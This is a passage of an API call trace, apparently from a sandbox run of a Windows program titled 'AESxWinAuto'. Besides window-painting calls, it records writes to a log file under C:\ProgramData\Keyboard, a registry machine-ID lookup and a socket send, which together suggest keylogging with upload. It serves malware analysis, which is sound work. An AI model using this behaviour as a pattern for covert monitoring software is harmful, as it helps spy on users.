[0066.723] GdipCreateRegion (region=0x3ae8e8) returned 0x0 [0066.723] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0066.723] GdipCreateMatrix (matrix=0x3ae8e8) returned 0x0 [0066.723] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0066.723] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae900) returned 0x0 [0066.723] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x248300 [0066.723] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x248300) returned 0x0 [0066.723] LocalFree (hMem=0x248300) returned 0x0 [0066.723] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x248300 [0066.723] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x248300) returned 0x0 [0066.723] LocalFree (hMem=0x248300) returned 0x0 [0066.723] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0066.723] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae92c) returned 0x0 [0066.723] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae91c) returned 0x0 [0066.723] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae91c) returned 0x0 [0066.723] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0066.723] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae934) returned 0x0 [0066.723] GetCurrentObject (hdc=0x1501097b, type=0x1) returned 0x1b00017 [0066.723] GetCurrentObject (hdc=0x1501097b, type=0x2) returned 0x1900010 [0066.723] GetCurrentObject (hdc=0x1501097b, type=0x7) returned 0x3f05094d [0066.723] GetCurrentObject (hdc=0x1501097b, type=0x6) returned 0x18a002e [0066.723] SaveDC (hdc=0x1501097b) returned 1 [0066.724] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xd1040957 [0066.724] GetClipRgn (hdc=0x1501097b, hrgn=0xd1040957) returned 0 [0066.724] SelectClipRgn (hdc=0x1501097b, hrgn=0x41040945) returned 2 [0066.724] DeleteObject (ho=0xd1040957) returned 1 [0066.724] DeleteObject (ho=0x41040945) returned 1 [0066.724] OffsetViewportOrgEx (in: hdc=0x1501097b, x=0, y=0, lppt=0x265be34 | out: lppt=0x265be34) returned 1 [0066.724] DrawThemeParentBackground () returned 0x0 [0066.724] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae6a8 | out: lpwndpl=0x3ae6a8) returned 1 [0066.724] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae64c | out: lpRect=0x3ae64c) returned 1 [0066.724] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0066.724] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0066.724] GetSystemMetrics (nIndex=42) returned 0 [0066.724] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae50c, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0066.724] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae50c) returned 0xb [0066.724] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae554 | out: lpRect=0x3ae554) returned 1 [0066.724] GetCurrentObject (hdc=0x1501097b, type=0x1) returned 0x1b00017 [0066.724] GetCurrentObject (hdc=0x1501097b, type=0x2) returned 0x1900010 [0066.724] GetCurrentObject (hdc=0x1501097b, type=0x7) returned 0x3f05094d [0066.724] GetCurrentObject (hdc=0x1501097b, type=0x6) returned 0x18a002e [0066.724] SaveDC (hdc=0x1501097b) returned 2 [0066.724] GetNearestColor (hdc=0x1501097b, color=0xf0f0f0) returned 0xf0f0f0 [0066.724] CreateSolidBrush (color=0xf0f0f0) returned 0x2b100940 [0066.724] FillRect (hDC=0x1501097b, lprc=0x3ae3f4, hbr=0x2b100940) returned 1 [0066.724] DeleteObject (ho=0x2b100940) returned 1 [0066.724] RestoreDC (hdc=0x1501097b, nSavedDC=-1) returned 1 [0066.724] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0066.724] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0066.724] GetSystemMetrics (nIndex=42) returned 0 [0066.724] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0066.724] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0066.725] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4f4 | out: lpRect=0x3ae4f4) returned 1 [0066.725] GetCurrentObject (hdc=0x1501097b, type=0x1) returned 0x1b00017 [0066.725] GetCurrentObject (hdc=0x1501097b, type=0x2) returned 0x1900010 [0066.725] GetCurrentObject (hdc=0x1501097b, type=0x7) returned 0x3f05094d [0066.725] GetCurrentObject (hdc=0x1501097b, type=0x6) returned 0x18a002e [0066.725] SaveDC (hdc=0x1501097b) returned 2 [0066.725] GetNearestColor (hdc=0x1501097b, color=0xf0f0f0) returned 0xf0f0f0 [0066.725] CreateSolidBrush (color=0xf0f0f0) returned 0x2c100940 [0066.725] FillRect (hDC=0x1501097b, lprc=0x3ae394, hbr=0x2c100940) returned 1 [0066.725] DeleteObject (ho=0x2c100940) returned 1 [0066.725] RestoreDC (hdc=0x1501097b, nSavedDC=-1) returned 1 [0066.725] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0066.725] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0066.725] GetSystemMetrics (nIndex=42) returned 0 [0066.725] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0066.725] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0066.725] RestoreDC (hdc=0x1501097b, nSavedDC=-1) returned 1 [0066.725] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1501097b) returned 0x0 [0066.725] IsAppThemed () returned 0x1 [0066.725] GetThemeAppProperties () returned 0x3 [0066.725] GetThemeAppProperties () returned 0x3 [0066.725] IsAppThemed () returned 0x1 [0066.725] GetThemeAppProperties () returned 0x3 [0066.725] GetThemeAppProperties () returned 0x3 [0066.725] IsThemePartDefined () returned 0x1 [0066.725] GdipCreateRegion (region=0x3ae8ac) returned 0x0 [0066.725] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0066.725] GdipCreateMatrix (matrix=0x3ae8ac) returned 0x0 [0066.725] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0066.725] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae8c4) returned 0x0 [0066.725] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x248300 [0066.725] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x248300) returned 0x0 [0066.725] LocalFree (hMem=0x248300) returned 0x0 [0066.725] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x248300 [0066.725] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x248300) returned 0x0 [0066.725] LocalFree (hMem=0x248300) returned 0x0 [0066.725] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0066.726] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8f0) returned 0x0 [0066.726] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8e0) returned 0x0 [0066.726] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8e0) returned 0x0 [0066.726] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0066.726] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8f8) returned 0x0 [0066.726] GetCurrentObject (hdc=0x1501097b, type=0x1) returned 0x1b00017 [0066.726] GetCurrentObject (hdc=0x1501097b, type=0x2) returned 0x1900010 [0066.726] GetCurrentObject (hdc=0x1501097b, type=0x7) returned 0x3f05094d [0066.726] GetCurrentObject (hdc=0x1501097b, type=0x6) returned 0x18a002e [0066.726] SaveDC (hdc=0x1501097b) returned 1 [0066.726] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x42040945 [0066.726] GetClipRgn (hdc=0x1501097b, hrgn=0x42040945) returned 0 [0066.726] SelectClipRgn (hdc=0x1501097b, hrgn=0xd3040957) returned 2 [0066.726] DeleteObject (ho=0x42040945) returned 1 [0066.726] DeleteObject (ho=0xd3040957) returned 1 [0066.726] OffsetViewportOrgEx (in: hdc=0x1501097b, x=0, y=0, lppt=0x265c6cc | out: lppt=0x265c6cc) returned 1 [0066.726] IsAppThemed () returned 0x1 [0066.726] GetThemeAppProperties () returned 0x3 [0066.726] GetThemeAppProperties () returned 0x3 [0066.726] DrawThemeBackground () returned 0x0 [0066.726] RestoreDC (hdc=0x1501097b, nSavedDC=-1) returned 1 [0066.726] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1501097b) returned 0x0 [0066.726] GdipCreateRegion (region=0x3ae894) returned 0x0 [0066.726] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0066.726] GdipCreateMatrix (matrix=0x3ae894) returned 0x0 [0066.726] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0066.726] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae8ac) returned 0x0 [0066.726] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x248300 [0066.726] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x248300) returned 0x0 [0066.726] LocalFree (hMem=0x248300) returned 0x0 [0066.726] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x248300 [0066.726] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x248300) returned 0x0 [0066.726] LocalFree (hMem=0x248300) returned 0x0 [0066.726] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0066.726] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8d8) returned 0x0 [0066.726] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8c8) returned 0x0 [0066.726] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8c8) returned 0x0 [0066.727] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0066.727] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8e0) returned 0x0 [0066.727] GetCurrentObject (hdc=0x1501097b, type=0x1) returned 0x1b00017 [0066.727] GetCurrentObject (hdc=0x1501097b, type=0x2) returned 0x1900010 [0066.727] GetCurrentObject (hdc=0x1501097b, type=0x7) returned 0x3f05094d [0066.727] GetCurrentObject (hdc=0x1501097b, type=0x6) returned 0x18a002e [0066.727] SaveDC (hdc=0x1501097b) returned 1 [0066.727] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xd4040957 [0066.727] GetClipRgn (hdc=0x1501097b, hrgn=0xd4040957) returned 0 [0066.727] SelectClipRgn (hdc=0x1501097b, hrgn=0x43040945) returned 2 [0066.742] DeleteObject (ho=0xd4040957) returned 1 [0066.742] DeleteObject (ho=0x43040945) returned 1 [0066.742] OffsetViewportOrgEx (in: hdc=0x1501097b, x=0, y=0, lppt=0x2660a10 | out: lppt=0x2660a10) returned 1 [0066.742] IsAppThemed () returned 0x1 [0066.742] GetThemeAppProperties () returned 0x3 [0066.742] GetThemeAppProperties () returned 0x3 [0066.742] GetThemeBackgroundContentRect () returned 0x0 [0066.742] RestoreDC (hdc=0x1501097b, nSavedDC=-1) returned 1 [0066.743] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1501097b) returned 0x0 [0066.743] IsAppThemed () returned 0x1 [0066.743] GetThemeAppProperties () returned 0x3 [0066.743] GetThemeAppProperties () returned 0x3 [0066.743] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3ae9f0) returned 0x0 [0066.743] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9dc) returned 0x0 [0066.743] GetCurrentObject (hdc=0x1501097b, type=0x1) returned 0x1b00017 [0066.743] GetCurrentObject (hdc=0x1501097b, type=0x2) returned 0x1900010 [0066.743] GetCurrentObject (hdc=0x1501097b, type=0x7) returned 0x3f05094d [0066.743] GetCurrentObject (hdc=0x1501097b, type=0x6) returned 0x18a002e [0066.743] SaveDC (hdc=0x1501097b) returned 1 [0066.743] GetTextAlign (hdc=0x1501097b) returned 0x0 [0066.743] GetTextColor (hdc=0x1501097b) returned 0x0 [0066.743] GetCurrentObject (hdc=0x1501097b, type=0x6) returned 0x18a002e [0066.743] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae73c | out: pv=0x3ae73c) returned 92 [0066.743] SelectObject (hdc=0x1501097b, h=0x70a0932) returned 0x18a002e [0066.743] GetBkMode (hdc=0x1501097b) returned 2 [0066.743] SetBkMode (hdc=0x1501097b, mode=1) returned 2 [0066.743] DrawTextExW (in: hdc=0x1501097b, lpchText="Stop", cchText=4, lprc=0x3ae820, format=0x102415, lpdtp=0x2660da8 | out: lpchText="Stop", lprc=0x3ae820) returned 13 [0066.743] DrawTextExW (in: hdc=0x1501097b, lpchText="Stop", cchText=4, lprc=0x3ae970, format=0x102015, lpdtp=0x2660da8 | out: lpchText="Stop", lprc=0x3ae970) returned 13 [0066.743] RestoreDC (hdc=0x1501097b, nSavedDC=-1) returned 1 [0066.743] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1501097b) returned 0x0 [0066.743] GetFocus () returned 0x1025e [0066.743] IsAppThemed () returned 0x1 [0066.743] GetThemeAppProperties () returned 0x3 [0066.743] GetThemeAppProperties () returned 0x3 [0066.743] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebc8) returned 0x0 [0066.744] BitBlt (hdc=0x25010953, x=0, y=0, cx=84, cy=23, hdcSrc=0x1501097b, x1=0, y1=0, rop=0xcc0020) returned 1 [0066.744] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1501097b) returned 0x0 [0066.744] SelectPalette (hdc=0x25010953, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0066.744] SelectObject (hdc=0x1501097b, h=0x185000f) returned 0x3f05094d [0066.744] DeleteDC (hdc=0x1501097b) returned 1 [0066.744] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0066.744] EndPaint (hWnd=0x1025c, lpPaint=0x3aeb6c) returned 1 [0066.744] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 0 [0066.744] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 0 [0066.744] WaitMessage () returned 1 [0069.840] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0069.840] IsWindowUnicode (hWnd=0x3010c) returned 1 [0069.840] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0069.840] TranslateMessage (lpMsg=0x3af06c) returned 0 [0069.840] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0069.841] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard\\17102017_012722.log", nBufferLength=0x105, lpBuffer=0x3addd8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard\\17102017_012722.log", lpFilePart=0x0) returned 0x2b [0069.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ae2b4) returned 1 [0069.841] CreateFileW (lpFileName="C:\\ProgramData\\Keyboard\\17102017_012722.log" (normalized: "c:\\programdata\\keyboard\\17102017_012722.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0069.841] GetFileType (hFile=0x354) returned 0x1 [0069.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ae2b0) returned 1 [0069.842] GetFileType (hFile=0x354) returned 0x1 [0069.842] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x3ae288*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x3ae288*=0) returned 0x1e9 [0069.842] WriteFile (in: hFile=0x354, lpBuffer=0x266dc38*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x3ae360, lpOverlapped=0x0 | out: lpBuffer=0x266dc38*, lpNumberOfBytesWritten=0x3ae360*=0x37, lpOverlapped=0x0) returned 1 [0069.842] CloseHandle (hObject=0x354) returned 1 [0069.844] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ae380 | out: phkResult=0x3ae380*=0x354) returned 0x0 [0069.844] RegQueryValueExW (in: hKey=0x354, lpValueName="ComputerId", lpReserved=0x0, lpType=0x3ae3a0, lpData=0x0, lpcbData=0x3ae39c*=0x0 | out: lpType=0x3ae3a0*=0x1, lpData=0x0, lpcbData=0x3ae39c*=0x4a) returned 0x0 [0069.844] RegQueryValueExW (in: hKey=0x354, lpValueName="ComputerId", lpReserved=0x0, lpType=0x3ae3a0, lpData=0x266ede8, lpcbData=0x3ae39c*=0x4a | out: lpType=0x3ae3a0*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x3ae39c*=0x4a) returned 0x0 [0069.866] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", nBufferLength=0x105, lpBuffer=0x3addb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", lpFilePart=0x0) returned 0x31 [0069.866] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", nBufferLength=0x105, lpBuffer=0x3add64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", lpFilePart=0x0) returned 0x31 [0069.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x3add30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0069.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3adcfc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0069.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3add4c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0069.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ae19c) returned 1 [0069.869] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3ae218 | out: lpFileInformation=0x3ae218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xd3d6f890, ftLastAccessTime.dwHighDateTime=0x1d2ec0b, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0069.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ae198) returned 1 [0069.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3adca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0069.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ae17c) returned 1 [0069.870] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x77c [0069.870] GetFileType (hFile=0x77c) returned 0x1 [0069.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ae178) returned 1 [0069.870] GetFileType (hFile=0x77c) returned 0x1 [0069.870] GetFileSize (in: hFile=0x77c, lpFileSizeHigh=0x3ae1ac | out: lpFileSizeHigh=0x3ae1ac*=0x0) returned 0x8c8f [0069.870] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae168, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae168*=0x1000, lpOverlapped=0x0) returned 1 [0069.871] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae13c, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae13c*=0x1000, lpOverlapped=0x0) returned 1 [0069.871] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae0b8, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae0b8*=0x1000, lpOverlapped=0x0) returned 1 [0069.871] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae0b8, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae0b8*=0x1000, lpOverlapped=0x0) returned 1 [0069.871] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae0b8, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae0b8*=0x1000, lpOverlapped=0x0) returned 1 [0069.871] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae0b8, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae0b8*=0x1000, lpOverlapped=0x0) returned 1 [0069.872] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae138, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae138*=0x1000, lpOverlapped=0x0) returned 1 [0069.872] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae0b8, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae0b8*=0x1000, lpOverlapped=0x0) returned 1 [0069.872] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae0b8, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae0b8*=0xc8f, lpOverlapped=0x0) returned 1 [0069.872] ReadFile (in: hFile=0x77c, lpBuffer=0x2675c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae14c, lpOverlapped=0x0 | out: lpBuffer=0x2675c38*, lpNumberOfBytesRead=0x3ae14c*=0x0, lpOverlapped=0x0) returned 1 [0069.872] CloseHandle (hObject=0x77c) returned 1 [0069.872] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", nBufferLength=0x105, lpBuffer=0x3adcf8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", lpFilePart=0x0) returned 0x31 [0069.872] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", nBufferLength=0x105, lpBuffer=0x3add48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", lpFilePart=0x0) returned 0x31 [0069.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ae198) returned 1 [0069.872] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3ae214 | out: lpFileInformation=0x3ae214*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0069.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ae194) returned 1 [0069.872] QueryPerformanceCounter (in: lpPerformanceCount=0x3ae338 | out: lpPerformanceCount=0x3ae338*=390856745) returned 1 [0069.872] SetEvent (hEvent=0x360) returned 1 [0069.872] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae164*=0x3dc, lpdwindex=0x3adf84 | out: lpdwindex=0x3adf84) returned 0x80010115 [0069.873] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae144*=0x3d0, lpdwindex=0x3adf64 | out: lpdwindex=0x3adf64) returned 0x80010115 [0069.873] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae144*=0x3d8, lpdwindex=0x3adf64 | out: lpdwindex=0x3adf64) returned 0x80010115 [0069.873] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae198*=0x3fc, lpdwindex=0x3adfb4 | out: lpdwindex=0x3adfb4) returned 0x80010115 [0069.873] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae198*=0x408, lpdwindex=0x3adfb4 | out: lpdwindex=0x3adfb4) returned 0x80010115 [0069.873] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae198*=0x410, lpdwindex=0x3adfb4 | out: lpdwindex=0x3adfb4) returned 0x80010115 [0069.874] select (in: nfds=0, readfds=0x267d0cc, writefds=0x0, exceptfds=0x0, timeout=0x3ae220 | out: readfds=0x267d0cc, writefds=0x0, exceptfds=0x0) returned 0 [0069.874] send (in: s=0x4d0, buf=0x267d5bc*, len=443, flags=0 | out: buf=0x267d5bc*) returned 443 [0069.874] setsockopt (s=0x4d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0069.874] recv (in: s=0x4d0, buf=0x25dc96c, len=4096, flags=0 | out: buf=0x25dc96c*) returned 180 [0069.948] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 0 [0069.949] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 0 [0069.949] WaitMessage () returned 1 [0074.687] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0074.687] IsWindowUnicode (hWnd=0x2022c) returned 1 [0074.687] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0074.687] TranslateMessage (lpMsg=0x3af06c) returned 0 [0074.687] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0074.768] IWebBrowser2:Navigate2 (This=0x1f9610, URL=0x3aed04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="http://www.msn.com/?ocid=iehp", 